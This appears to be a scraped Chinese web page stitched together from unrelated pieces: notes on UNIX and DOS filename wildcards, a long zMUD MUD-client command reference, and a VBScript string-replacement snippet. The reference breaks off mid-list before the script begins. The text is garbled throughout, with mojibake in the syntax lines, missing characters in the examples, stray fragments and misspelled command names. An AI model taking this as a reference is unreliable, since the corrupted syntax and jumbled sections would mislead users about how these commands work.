3、如何利用通配符使指令更灵活?
UNIX可将有一定关的文件看作一集合的一部分,用户可以用该集合去匹配。
所以,如果你需要删除file1.temp、file2.temp……file9.temp,只须健入:
rm file[0-9].temp
该技巧的用处在于可以用删除那些相要删除的文件。如果你每天都要为一个
非常重要的数据库做一个“mp”报告,你把文件存入mp.'date%h%d',
它包括一系列文件如下:
mp.jun23
mp jun24
mp jun25
mp.jun26
再让我们假设因为每个文件的容量都在100M左右,所以磁盘空间很快会被占满,
因此需要每隔几天删去一些老的文件,只留下最近的两个文件,为此,键入:
rm –i *[34]
这条指令将删去那些以“”开头并以“3”或“4”结尾的文件。
通配符的使用
在使用文件时,主文件名和扩展名中还可以使用通配符“*”“?”。其中“*”代表从它所在位置直到“.”(主文件名中为到“.”前,扩展名为“.”后)的所有字符;“?”代表它所在位置的任意字符。
实例:
A.?? 表示文件主名为A,扩展名不超过两个字符的文件
???.com 表示文件名不超过三个字符,扩展名为COM的文件
*.* 表示所有文件
ABC.* 表示文件名为ABC,具有任意扩展名的文件
*.EXE 表示以EXE为扩展名的所有文件
A*.* 表示以字符A开头的所有文件 例如: ABC.txt ABD.com等
A??.* 表示文件主名以A开头且不超过三个字符,具有任意扩展名
的文件
tabs)
%x
匹配任何数量的非空格
[range]
匹配任何数量的在[range]中列出的字符
^
强制从一行的开始进行匹配
$
强制匹配到一行的结束
(pattern)
保存匹配的式样到参数%1~%9
~
包括其中的字符不会被解释为特殊字符
{val1|val2|val3|...}
匹配其中列出的任何特殊的串
{^string}
不匹配其中包括的串
使用[range]时,你可以在其中列出需要的字符例如 [abc] 或使用范围 [a-c] 。
为了匹配特殊字符本身,可以使用~将特殊字符括住,例如:~[test~] 将匹配字符串
[test] 而不是作为 [range] 来匹配。
只使用$可以匹配一个空行。
别名中使用参数的例子
我们在解谜过程中向npc提出的问题通常是以:
ask npc about here
ask npc about rumors
ask npc about name
这样三个命令开始的,把他们定义成别名可以节省一些时间,像这样:
#al askn {ask %1 about here;ask %1 about here;ask %1 about name}
可如果npc的名字有两个单词,或一堆同名的npc中你要问其中第二个,就需要把别名
中的参数改为%-1,此时执行askn bing 2或askn tian bing就不会出错了。
为了更好的理解参数的作用,试试执行下面的命令:
#al tt test1 %1 test2 %2 test3 %-1 test4 %-2
看看执行{tt a1 a2 a3 a4 a5}的结果,一切都清楚了吧?
表达式
当执行运算时,如果所有参数均为数字,则执行数学运算,否则执行字符串操作。以
下是一些常用的表达式(v1和v2代表变量或另外的表达式):
v1+v2
如果v1或v2不是数字,则执行字符串相加
v1-v2
从v1中减去v2
v1*v2
相乘
v1/v2
v1除v2,结果不含小数
v1\v2
取模
v1&v2
逻辑运算and
v1 and v2
同上
v1 | v2
逻辑运算or
v1 or v2
同上
v1 xor v2
逻辑运算xor
v1 = v2
如果v1等于v2返回真
v1 > v2
如果v1大于v2返回真
v1 < v2
如果v1小于v2返回真
v1 >= v2
如果v1大于等于v2返回真
v1 <= v2
如果v1小于等于v2返回真
v1 <> v2
如果v1不等于v2返回真
v1 != v2
同上
v1 =~ v2
如果表达式v1中的pattern包含v2,返回真
v1 ~= v2
同上
-v1
返回v1的负值
!v1
逻辑运算非
命令:
number]
Syntax:牋?#number command
这个命令向MUD重复发送number次命令,number必须是一个常数,如果要使用变量,请
使用loop命令。当前已经重复的计数保存在系统变量%repeatnum中。
实例:
#4 fight bing %i
命令将被解释成{fight bing 1;fight bing 2;...;fight bing 4}发往MUD10
abort
Syntax:牋?#AB
停止分析处理当前的命令行中#ab以后的部分
实例:
get all corpse;#ABORT;split
在这个例子中,split将被忽略
action
Syntax:牋?#AC pattern command [classname]
Related:牋?#TRIGGER #T+ #T- #IGNORE
这是zMUD中最有用的特性之一。当从MUD中收到一条匹配的文本时,预先定义的命令将
被执行。这条命令的第一个参数是被匹配的文本,如果文本中包含空格,你需要将它
用括号{}括起来。pattern中能够包含特殊的pattern matching symbols 和通配符。
第二个参数是将要被执行的命令,超过一个单词的命令也需要使用括号{}。第三个参
数用于给不同的触发动作命名分类,便于管理。高级的触发设置必须使用参数
(Preferences)对话框,在对话框中,你可以决定触发的动作是紧跟在匹配的文本之
后还是在新的一行中执行。
一个简单的例子:
#AC {你买下一件藤甲} {wear jia}
这样,无论何时只要你买了藤甲,立刻可以自动穿上。
自动登录的例子:
#AC {^您的英文名字:} {river}
#AC {^请输入相应密码:} {12345}
然后在参数对话框中关闭 Trigger on Newline 设置并且打开 Trigger on Prompt 这
样名字和密码将紧接着提示行输入而不会等待换行。注意,字符 ^ 将强制从一行的头
部开始匹配。
触发中的参数
#AC {^You get (%d) coins} {chat I get %1coin } rich
当你看到一行“You get [number] coins”时,其中的数值将被存放在变量%1中,其
后执行的命令可以使用这个数值。在这个例子中用到了类(class)名rich,这样你就
能够使用t+和t-命令来打开或关闭这个触发。
add
Syntax:牋?#AD variable amount
这个例子允许你做一个简单的算术计算。amount可以是数值或变量。如果要做减法,
可以使用负值。复杂一些的算术计算,请使用 #math 命令。
实例:
#AD moves 1
给变量@moves加一
#ACTION {You get (%d) coins} {#AD gold %1}
当捡到钱时,把捡钱的数量加到 @gold 变量中
alarm
Syntax:牋?#ALA timepattern command
Related:牋?#TRIGGER
建立一个基于时间的触发,而不是根据从MUD中获得的信息触发。timepattern可以是
特定的时间或包括通配符。如果在minus前加上(-),则表示连线时间而不是实际时
间。
timepattern 的格式表示成 hours:minutes:seconds ,其中的小时和分钟是可选项,
如果不指明,则假定小时和分钟被通配符*取代。通配符*可以代替任何数值,而*10可
以匹配10、20、30等等。你也可以指定几个数值用(|)来分隔。Finally, you can
put parenthesis around the wildcards to save the values matched to the
%1..%9 parameters。(这句话我不懂,谁来帮我?)
实例:
#ALARM -30:00 {save}
这里的 hour 没有指定,所以默认为*。 因此,这个例子将在连线后每隔30分钟执行
save 命令。
#ALARM 3:00:00 {gossip Why arent you sleeping?}
命令将在凌晨3点触发。
#ALARM -59:(55|56|57|58|59) {#SHOW 60-%1}
这个命令在你连线时每个小时的最后5秒在屏幕上显示 5 4 3 2 1。
alias
Syntax:牋?#AL [aliasname] [string]
Related:牋?#VARIABLE
保存一个或一组命令到一个较短的别名中。当执行别名时,命令中的变量能够被扩
展。如果需要延迟变量扩展,可以使用两个变量标志(%%)。
如果不带参数执行命令alias,所有的别名将被列出在输出窗口。如果在命令alias中
指定别名,被指定的别名将被显示。
别名能够用<tab>键扩展。在命令行中键入一个别名并按下<tab>键,命令行中的别名
将被替换成别名中包含的命令。
如果在定义别名时使用参数(%1,%2,...),在命令行中紧随别名的文本将取代这些
参数。特殊的参数%-1到%-99表示-n之后的所有文本。(使用参数的例子)
实例
#AL fs {fill waterskin}
当执行fs时,fill waterskin将被送往MUD。
#AL fs {fill @container}
在别名中使用变量,变量可以在购买容器时用触发赋值。
#AL make {#ALIAS %1 {cast %1 %%1]
在这个例子中,执行make heal将发出#ALIAS heal {cast heal %1}命令,这样就建立
了一个新的别名heal。
all
Syntax:牋?#ALL command
发送一个命令到所有角色的窗口
实例:
#ALL quit
发送 quit 命令到所有激活的角色窗口。
backup
Syntax:牋?#BA
Related:牋?#PATH #RETRACE
从当前正在记录的路径中删除最后一步
实例:
如果当前路径是 .nsew 那麽执行 #BA 将使其成为 .nse 。如果当前路径是 .n4s 则
执行 #BA 后将成为 .n3s 。?
beep
Syntax:牋?#BEEP [value]
Related:牋?#PLAY
在pc机喇叭中发声,value 对应相应的 windows 事件。
实例:
#BEEP 16
播放windows 事件 16 的声音。
#BEEP;#WAIT 500;#BEEP
beep两次,中间间隔0.5秒。
button
Syntax:牋?#BU number
触发一个自定义按钮,编号(从1至16)决定触发的按钮。number 可以是一个变量。
实例:
#BU 1
触发第一个按钮,效果相当于在屏幕上按下这个按钮
c+
Syntax:牋?#C+ [name]
Related:牋?#C-
开始获取文本到窗口name中,如果省略name,文本将送入command editor,(如果
editor中的capturing设置可用)。如果在preferences对话框中选中Capture
Commands设置,键入的命令也将被送往这个窗口。
例子:
#c+ temp
开始拷贝所有从MUD中获得的文本到名为temp的窗口中
c-
Syntax:牋?#C-
Related:牋?#C+
停止获取文本到另一个窗口
capture
Syntax:牋?#CAP [number] [name]
Related:牋?Editor window
获取最后number行送到另一个窗口。如果省略number,则只获取最后一行。如果
number是-1,所有的行将被拷贝。如果name省略,发送的目标将是command editor
window。
例子
#tr {咖啡告诉你:救命!} {#cap tell}
将tell的内容存入名为tell的窗口,避免忽略。
case
Syntax:牋?#CA index command1 [commandn]
允许从命令列表中选择一个命令执行。index参数决定执行哪一个命令。如果index大
于列表中的命令数,将从第一个开始重新选择。例如,列表中有4个命令,而index=
6,则第二个命令将被执行。你也可以用变量%random随机的选择需执行的命令。
实例:
#CASE 2 {first command} {second command} {third command}
执行第二个命令
#CASE @joincmd {join} {rescue}
如果变量@join是奇数,执行join,偶数执行rescue。
#CASE %random {Hello} {Hi there} {Hiya} {Hi}
随机选择问候语。
character
Syntax:牋?#CH
Related:牋?#HOST #PW
从Charater atabase中返回当前角色的名字
colse
Syntax:牋?#CL filenum
Related:牋?#FILE
根据给定的文件号关闭文件,文件必须是已经用#file命令打开的。
实例:
#CLOSE 1
关闭一号文件
clr
清除屏幕。如果要清空scrollback buffer并收回内存,请使用菜单命令Empty。
color
Syntax:牋?#CO attribute [pattern]
Related:牋?#HIGHLIGHT
如果省略pattern参数,这个命令将改变最后一行的颜色。颜色属性见下表。如果包括
pattern参数,将建立一个颜色触发,引起触发的条件除了字符对应外还需要有相同的
颜色。
Color values:
black牋?
0
blue牋
1
green
2
cyan
3
red
4
magenta
5
brown
6
gray
7
tellow
14
white
15
bold
128
要显示亮色,在基本值上加8,作为背景颜色,需要用基本值乘16。例如:使用红色背
景的值是4*16或64。在前景上使用粗体字,需要再加128。这样,在蓝色背景上的粗体
白字的值是:128+1*16+15=159。
实例:
#CO red
将最后一行的颜色变成红色
#CO bold,red
将最后一行变成红色粗体
connect
Syntax:牋?#CON
Related:牋?#DISCONNECT
断开并重新连接到当前的MUD,与菜单命令File/Reconnect 相同
cr
Syntax:牋?#CR
送一个空行到MUD
cw
Syntax:牋?#CW color
Related:牋?#COLOR
在一次成功的触发之后,改变引起触发的内容的颜色
实例:
#TRIGGER {告诉你} {#CW red}
当有人tell 你时,显示较为醒目的颜色
dde
Syntax:牋?#DDE server topic macro
这个命令允许你通过动态数据交换使用外部程序。zMUD也有一些内建的函数用于DDE:
%dde(server,topic,item)
%ddepoke(server,topic,item,value)
%ddemacro(server,topic,macro)
如果你使用%ddeopen(server,topic)函数打开DDE连接,在其他函数中不再需要指明
server和topic,这个函数是全局性的,对于zMUD的任何窗口均有效。结束DDE连接
时,使用%ddeclose()函数。
zMUD也拥有自己的DDE服务,server名是zmud,topic也是zmud,item为data。
实例:
#DDE NETSCAPE WWW_OpenURL {<a target="_blank" href="http://www.zg169.net/~czmud/index.html}">http://www.zg169.net/~czmud/index.html}</a>
使用netscape打开zMUD从入门到精通主页,因为~zMUD的特殊字符,所以需要再加一个
~写成~。
#DDE ZMUD ZMUD {chat* bye;quit}
使用DDE向MUD发出命令
%dde(Excel,TEST.XLS,R1C1)
使用excel装入test.xls并返回单元R1C1的值。
%ddepoke(Excel,TEST.XLS,R1C1,@tank)
向test.xls的R1C1单元写入变量@tank的值
谁能用DDE写一个自动对诗的机器人?
default
Syntax:牋?#DE [special-char-string]
Related:牋?#NODEF
保存你当前使用的特殊字符并恢复系统默认的特殊字符,在使用现成的命令脚本时,
这个命令可以保证脚本中的标准特殊字符被正确识别。使用#NODEF命令将恢复你自定
义的特殊字符。
zMUD中使用的特殊字符有
1
Command Char
#
将紧随的字串解释为命令
2
Separator Char
;
分隔多个命令
3
Variable Char
@
用于扩展变量的值
4
History Char
!
调用命令缓冲区中的命令
5
Parameter Char
%
指出系统变量和函数
6
Movement Char
.
调用路径变量或函数
7
Focus Char
:
向指定窗口发命令
8
Quote Char
~
紧随其后的特殊字符当作普通字符
理
9
Must be a space at the end
*?
*fool
实例:
#DEF
保存你当前使用的特殊字符并恢复系统默认的特殊字符
#DEF {xx$xxxxx }
保存你当前使用的特殊字符并回复默认的特殊字符,然后将@改为$。
disconnect
Syntax:牋?#DI
Related:牋?#CONNECT
断开当前的连接
实例:
#TRIGGER {你已陷入半昏迷状态} {#DI}
断线就不会被杀死吗?我没试过,hehe。
ECHO
Syntax:牋?#EC string
Related:牋?#SAY
在当前窗口中显示字串,类似与say命令。除了用于离线测试trigger似乎没有别的用
处。
实例:
ERASE
Syntax:牋?#ERA filenum
Related:牋?#FILE
从硬盘中删除用#file打开的文件
实例:
#FILE 1 old.log
#ERA 1
删除old.log文件,需要先用#file命令打开。
EXEC
Syntax:牋?#EXEC command
执行一个命令,命令中可以包括变量
实例:
#TRIGGER {^咖啡告诉你(*)} {#EXEC %1}
执行咖啡的指令。(我可没那麽傻)
FILE
Syntax:牋?#FI number name
Related:牋?#READ #WRITE
打开文件准备读写。zMUD可以打开10个文件,文件号1~5打开文本文件,能够按顺序
读或追加,文件号6~10打开记录文件用于随机读写。如果nuber已经用于打开的文
件,则前一个文件将被关闭。打开的文件只能位于zmud.exe所在的目录且不能是
EXE,HLP和MUD文件。
实例:
#FILE 1 test.txt
打开text.txt作为文件1。
FIND
Syntax:牋?#FIN
找出在当前地图上的定位,通过look命令用当前房间的描述比较地图数据定位匹配的
房间,与automapper的菜单命令find作用相同。
FORALL
Syntax:#FO list command
逐条列出字串行表内容并执行命令。列表使用|分隔,逐个赋值给变量%i,并执行命
令。
实例:
list=sys|ups|yahoo
#froall @list {kill %i}
我一定是疯了。
FREEZE
Syntax:牋?#FR [value]
切分屏幕查看以前的显示,value=0表示恢复屏幕。这条命令相当于Ctrl-z或单击右边
的滚动条。(所以没什么用)
GAG
Syntax:牋?#GA [pattern]
Related:牋?#UNGAG
如果pattern省略,命令将从屏幕上删除最后一行。如果包括pattern,将删除所有匹
配行,相当于#ACTION pattern '#GAG'。
实例:
#ga 咖啡
这叫眼不见为净。
HELP
Syntax:牋?#HE [command]
不带参数相当与从菜单中选择help,否则显示指定命令的参数。
H+
Syntax:牋?#H+
Related:牋?#H-
从命令缓冲区中取得下一条命令,只在使用过#h-命令后有效,相当于向下的箭头键。
H-
Syntax:牋?#H-
Related:牋?#H+
从命令缓冲区中取得上一条命令,相当于向上的箭头键。
HISTORY
Syntax:牋?#HIS
显示命令缓冲区中的命令,每条显示的命令都带有行号,可以用!加行号来执行某条命
令。!!执行最新的命令。!+字母将执行最近一个以!后字母开头的命令。命令缓冲区
的大小默认为20,可由参数对话框改变。
你也可以用左键单击命令输入行左边的三角以弹出交互命令缓冲区对话框来选择命
令,单击将命令送至命令输入行以供编辑,双击将命令直接送往MUD。
<tab>键可以配合命令缓冲区的使用,如果你用!加数字或字母,再按下<tab>键,命令
将拷入命令输入行以供编辑。
实例:
#HI
显示最后20条命令
!!
执行最后一条命令
!3
执行命令缓冲区中的最后一条命令
!k
执行最后一条以k开头的命令
!k<TAB>
将最后一条以k开头的命令拷入命令输入行以供编辑
HIGHLIGHT
Syntax:牋?#HI [pattern]
Related:牋?#COLOR
如果省略pattern,最后一行文本将以高亮显示,如果包括pattern,匹配的文本将以
高亮显示。相当于命令#ACTION pattern '#HIGHLIGHT'。
HOST
Syntax:牋?#HO
Related:牋?#CHAR #PW
返回当前连接的主机名
IF
Syntax:牋?#IF expression true-command [false-command]
执行条件分支,如果表达式为真,执行true-command,否则执行falise-command(可
选)。表达式中可以包含变量和运算子。
实例:
#if (@qn>30) {learn_skills}
在战斗中如果潜能达到了30,执行别名learn_skills返回师父处学习。
#if (@hp>10) {exercise @hp} {exert recover}
如果气大于10就修炼内功,否则补气。
#IF (@line =~ "You receive (%d) coins") {split %1}
如果变量@line与pattern "You receive (%d) coins"匹配,执行{split %1},判断匹
配需要使用“=~”。
IGNORE
Syntax:牋?#IG
Related:牋?#T+ #T-
打开或关闭所有触发,第一次执行#ig 关闭所有触发,第二次执行恢复正常。
INPUT
Syntax:牋?#IN string
将文本放入命令输入行,替换当前内容
实例:
#in get @item
扩展变量item后将命令置入命令输入行
KEY
Syntax:牋?#KE key command
定义按键执行的命令,key值需注明按键的全名,例如:F1,CTRL-A 或 ALT-F2
实例:
#key F1 eat baozi
定义F1键执行eat baozi 命令
<ALT-D>={drink jiudai}
定义 ALT-D 键执行 drink jiudai 命令
KILLALL
Syntax:牋?#KILLALL
删除所有的别名、宏、触发、<tab>缩写
LMAP
Syntax:牋?#LM path command
Related:牋?#LOOP
穿越指定的路径并在每个房间执行指定的命令,变量%i将记录房间数
实例:
#LMAP 3sn {#SHOW %roomname(%i)}
从当前的地图定位向南走三步,向北走一步,并显示每个房间的名称
LOAD
Syntax:牋?#LOA filename
Related:牋?#SAVE
装入指定的设置文件,filename中可以使用变量。注意:装入新的设置文件时,原来
的设置文件中的改变不会被保存
实例:
#load dc
装入设置文件dc.mud。(.mud是默认的扩展名)
<F1>={#load combat};<F2>={#load cocial}
为战争与和平定制的设置文件分别用F1和F2载入
LOOK
Syntax:牋?#LOOK
执行MUD的look命令并重新写入地图的房间数据
LOOP
Syntax:牋?#LOO range command
重复执行由range指定数量的命令,range包括最小值和最大值,中间用逗号分隔,如
果range中只有一个数字,默认的最小值是1,循环的次数记录在变量%i中,可在命令
中调用。
实例:
#LOO 3 north
向MUD中送入north命令3次
#LOO 3,4 {get all from corpse %i}
取出第三和第四具尸体中的所有东西
#LOO @num {eat baozi}
吃包子@num口
LOG
Syntax:牋?#LO [filename]
开始在给定的文件中记录从MUD中获得的文本,如果文件不存在,则建立文件并开始记
录,如果文件已存在,则打开存在的文件并追加记录。省略参数用于开关记录
实例:
#LO test.txt
开始将MUD的所有输出记入test.txt
#LO
开关记录,如果正在记录,该命令将停止记录,否则开始记录
MAP
Syntax:牋?#MAP direction
Related:牋?#PATH
在当前路径上增加一个方向
#MAP north
如果当前路径是.s,则更新为.sn,同时向北移动一步
MATH
Syntax:牋?#MAT variable expression
Related:牋?#ADD
将表达式的结果赋值给变量。表达式中可以包括数字、逻辑运算和字符串函数,表达
式中包含的变量将被扩展。
实例:
#MATH test (1+3)*4
将计算结果16赋值给变量test
#MATH test2 @test-4
如果@test的值是16,则变量test2将被赋值12
#ALIAS add {#MATH value %1+%2}
add 3 4
执行后变量value的值为7
MARK
Syntax:牋?#MA
Related:牋?#PATH
开始记录新的路径,正在记录的路径将被废弃
MEDIA
Syntax:牋?#ME function
Related:牋?#PLAY
向当前的多媒体设备发送命令,通常在#play之后使用,function中可以使用变量,可
用的function依设备不同而不同值,一般有:
back
返回一步
close
关闭当前文件
eject
放弃当前设备
next
播放下一曲目
pause
暂停
paly
Ⅸ vbs“通配符”问题...
replace不支持通配符。可以使用正则表达式。
------------------------------------------
既然没有样本就将就用吧:
strFile = "1.txt"
oFile = "2.txt"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(strFile, 1)
Do While not objFile.AtEndOfStream
strLine = objFile.ReadLine
If Instr(strLine,"1313") > 0 Then
strLine = Replace(strLine,"asdfa1313","2221313")
strLine = Replace(strLine,"45647561313","2221313")
strLine = Replace(strLine,"1u2j%1313","2221313")
Else
strLine = strLine
End If
colLines = colLines & strLine & vbCrLf
Loop
objFile.Close
Set objFile = objFSO.CreateTextFile(oFile, True)
objFile.Write colLines
objFile.Close
Set objFSO = Nothing